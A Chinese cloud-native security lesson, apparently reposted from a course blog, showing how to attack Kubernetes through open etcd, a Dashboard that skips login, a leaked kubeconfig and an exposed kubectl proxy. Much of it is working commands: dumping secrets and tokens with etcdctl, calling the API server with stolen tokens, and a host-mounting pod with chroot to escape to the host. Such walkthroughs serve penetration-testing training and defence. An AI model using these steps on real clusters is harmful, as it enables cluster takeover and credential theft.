Day98:云上攻防-云原生篇K8s安全Config泄漏Etcd存储Dashboard鉴权Proxy暴露

目录

云原生-K8s安全-etcd(Master-数据库)未授权访问

etcdV2版本利用

etcdV3版本利用

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

云原生-K8s安全-Configfile鉴权文件泄漏

云原生-K8s安全-Kubectl Proxy不安全配置


知识点:

1、云原生-K8s安全-etcd未授权访问

2、云原生-K8s安全-Dashboard未授权访问

3、云原生-K8s安全-Configfile鉴权文件泄漏

4、云原生-K8s安全-Kubectl Proxy不安全配置

云原生-K8s安全-etcd(Master-数据库)未授权访问

实战中不会常见,利用条件比较苛刻。

默认通过证书认证,起一个数据库作用。主要存放节点的数据,如一些token和证书。

攻击23791端口

配置映射:

/etc/kubernetes/manifests/etcd.yaml

第一种(满足):在安装etcd时,没有配置指定--client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。暴露外部可以访问,直接未授权访问获取secrets和token利用

重启kubelet进程

systemctl restart kubelet

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。只能本地访问,直接未授权访问获取secrets和token利用

第三种(满足):实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。只能本地访问,利用ssrf或其他进行获取secrets和token利用

复现搭建

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

复现利用:etcdV2/V3版本利用参考:

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

https://www.wangan.com/p/7fy7f81f02d9563a

暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

etcdV2版本利用

直接访问http://ip:2379/v2/keys/?recursive=true ,可以看到所有的key-value值。(secrets token)

etcdV3版本利用

安装etcdctl:https://github.com/etcd-io/etcd/releases

安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

1、连接提交测试

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"

./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --
endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"

2、获取k8s的secrets

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server,获取集群的权限

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

默认端口:8001(一般会被映射成别的端口)

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

  1. 一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。
  2. 另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。

复现利用

前提条件:

  1. 用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
  2. Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)

1、安装

https://blog.csdn.net/justlpf/article/details/130718774

2、启动

kubectl create -f recommended.yaml 

3、卸载

kubectl delete -f recommended.yaml

4、查看状态

kubectl get pod,svc -n kubernetes-dashboard

5、利用:新增Pod后续同前面利用一致

apiVersion: v1
kind: Pod
metadata:name: xiaodisec
spec:containers:- image: nginxname: xiaodisecvolumeMounts:- mountPath: /mntname: test-volumevolumes:- name: test-volumehostPath:path: /

找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
 

云原生-K8s安全-Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。
K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。

如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存
在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:

  • 如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
  • 如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
  • 如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config

复现利用:K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

1、将获取到的config复制

2、安装kubectl使用config连接

安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

连接:

kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

3、上传利用test.yaml创建pod

kubectl apply -f test.yaml -n default --kubeconfig=config

4、连接pod后进行容器挂载逃逸

kubectl exec -it xiaodisec bash -n default --kubeconfig=config

cd /mnt
chroot . bash

云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009  

复现利用:类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案

kubectl -s http://192.168.139.130:8009 get pods -n kube-system

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/811697.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Springboot实现链路追踪功能

前言 在日常开发中,一个业务的实现往往会调用很多个方法,当我们去看日志的时候,各种接口的日志打印出来,看着就头疼,压根没办法去定位,而链路追踪就能很好的帮助我们去查看接口从头至尾依次调用了哪些方法…

MacOS13搭建安卓逆向环境

MacOS中用apktool解包 这里是所有链接:123云盘下载 https://www.123pan.com/s/9QRqVv-JE7Y.html安装apktool https://apktool.org/docs/install/ 或者下载单独的jar包 brew install wgethttps://apktool.org/blog/apktool-2.9.3下载直链:https://co…

使用Python批量将PDF转Word

简述 以下全部代码无法完美对图片、表格等非文字形式的内容转化。要较好的效果需要使用光学字符分析等方法进行转化 我懒,不想将代码模块拆分出来写注释 除代码1中有详细注释外,剩下的代码仅在关键部分进行注释 代码1:小规模文件的转换 代码…

TikTok如何矩阵养号?TK防关联引流系统助力TK账号安全运营

TK是 TikTok旗下的短视频社交媒体,平台目前是全球最火的短视频平台,目前全球活跃用户已经超过8亿。其中 TikTok的用户已经达到8亿。TK这款短视频社交媒体平台在海外的发展潜力非常大,也是国内很多人的创业目标,很多人都想从 TK这个…

文件上传阿里云OSS准备工作及入门程序(保姆级手把手教你)

使用阿里云作为第三方,来存储文件。 登录阿里云官网,开通对象存储OSS 这样就开通成功了。点击 管理控制台 ,出现下面页面。 不过我们也可以不充值购买,先叉掉,它有30天试用的。 创建Bucket 点这个创建Bucket。 创建存…

[论文笔记] Pai-megatron Qwen1.5-14B-CT 后预训练 踩坑记录

1. 模型权重转换报错 hf2mcore_1.5_v2.py 报错为: /mnt/cpfs/kexin/dlc_code/qwen1.5/PAI-Megatron-Patch/toolkits/model_checkpoints_convertor/qwen/hf2mcore_1.5_v2.py 正确文件替换如下,更改了477行,删除了 args.hidden_size 这个维度,在tp>1时也支持转换: eli…

TCM SRAM等五块内存的使用和动态分配

TCM SRAM等五块内存的使用和动态分配 配置sct文件内存使用动态内存分配rtx_lib.hrtx_memory.cmain.c 配置sct文件 LR_IROM1 0x08000000 0x00200000 { ; load region size_regionER_IROM1 0x08000000 0x00200000 { ; load address execution address*.o (RESET, First)*(InRoo…

Spring Boot 学习(4)——开发环境升级与项目 jdk 升级

各种版本都比较老,用起来也是常出各样的问题,终于找到一个看来不错的新教程,是原先那个教程的升级。遂决定升级一下开发环境,在升级遇到一些问题,摸索将其解决,得些体会记录备查。 最终确定开发环境约束如下…

蓝桥杯基础18——第13届省赛真题与代码详解

目录 0.心得体会 1.题目如下 2.代码实现的思路 键值扫描 数码管窗口切换 数码管的动态扫描 继电器工作时L3闪烁,整点时刻L1灯光亮5秒 3.变量列表 定义的常量和数组 功能控制和状态变量 定时器和计数变量 4.代码参考 4.1 头文件 onewire.h ds1302.h 4…

gpu服务器与cpu服务器的区别在哪?

GPU服务器与CPU服务器的区别主要体现在处理能力、应用场景、能源消耗和成本等方面。 处理能力:CPU(中央处理器)是计算机的“大脑”,负责执行指令和处理数据,它的设计注重于逻辑运算和串行处理能力。而GPU(…

全球媒体发稿:海外发稿数字期刊Digital Journal

全球媒体发稿:海外发稿数字期刊Digital Journal ​官网: digitaljournal.com 数字期刊,加拿大知名门户,月访量超过30万。 是一个全球媒体平台和内容合作伙伴,通过捕捉和报道第一,提升新闻周期中的声…

文件上传【2】--靶场通关

1.前端禁用js绕过 上传文件,进行抓包,没有抓到,说明这里的验证是前端js验证跳出的弹窗 禁用js后,php文件上传成功。 2.文件上传.htaccess 上传png木马后连接不上 代码中存在.htaccess,判断此时应该就是需要用到.htac…

【通信原理笔记】【三】——3.7 频分复用

文章目录 前言一、时分复用(TDM)二、频分复用(FDM)总结 前言 现在我们学习了几种调制模拟基带信号的方法,这些调制方法可以将基带信号搬移到频带进行传输。那么如果采用不同的载波频率把多个基带信号搬移到不同的频带…

机器学习-09-图像处理02-PIL+numpy+OpenCV实践

总结 本系列是机器学习课程的系列课程,主要介绍机器学习中图像处理技术。 参考 【人工智能】PythonOpenCV图像处理(一篇全) 一文讲解方向梯度直方图(hog) 【杂谈】计算机视觉在人脸图像领域的十几个大的应用方向&…

【LeetCode】1.两数之和

HashMap class Solution {public int[] twoSum(int[] nums, int target) {int a 0, b 0; // 返回两个索引HashMap<Integer, Integer> hm new HashMap<>(); // key是值&#xff0c;value是索引for (int i 0; i < nums.length; i) {if (!hm.containsKey(nums[…

基于SpringBoot的“汉服文化平台网站”的设计与实现(源码+数据库+文档+PPT)

基于SpringBoot的“汉服文化平台网站”的设计与实现&#xff08;源码数据库文档PPT) 开发语言&#xff1a;Java 数据库&#xff1a;MySQL 技术&#xff1a;SpringBoot 工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 系统功能结构图 系统功能界面图 用户登录、用…

论文阅读:Polyp-PVT: Polyp Segmentation with PyramidVision Transformers

这篇论文提出了一种名为Polyp-PVT的新型息肉分割框架&#xff0c;该框架采用金字塔视觉变换器&#xff08;Pyramid Vision Transformer, PVT&#xff09;作为编码器&#xff0c;以显式提取更强大的特征。本模型中使用到的关键技术有三个&#xff1a;渐进式特征融合、通道和空间…

定制个性化的 openEuler 系统镜像:打造独特的安装体验

前言 标准的操作系统镜像可能无法完全满足特定用户群体或特定应用场景的需求。通过定制化&#xff0c;可以根据具体需求预装特定软件、配置特定网络设置&#xff0c;甚至设置特定的用户权限&#xff0c;以确保系统能够满足用户的需求。定制化系统镜像可以优化安装流程&#xf…

mac配置Jmeter环境

mac配置Jmeter环境 一、安装jmeter二、Jmeter目录结构三、汉化Jmeter四、jmeter安装第三方插件 一、安装jmeter 第一步先自行配置好电脑的jdk环境 1、官网下载jar包 https://jmeter.apache.org/download_jmeter.cgi 2、解压到软件安装目录 3、启动Jmeter 启动方式1️⃣&#x…

洛谷-P1596 [USACO10OCT] Lake Counting S

P1596 [USACO10OCT] Lake Counting S - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) #include<bits/stdc.h> using namespace std; const int N110; int m,n; char g[N][N]; bool st[N][N]; //走/没走 int dx[] {-1,-1,-1,0,0,1,1,1}; //八联通 int dy[] {-1,0,1,1,-1,1…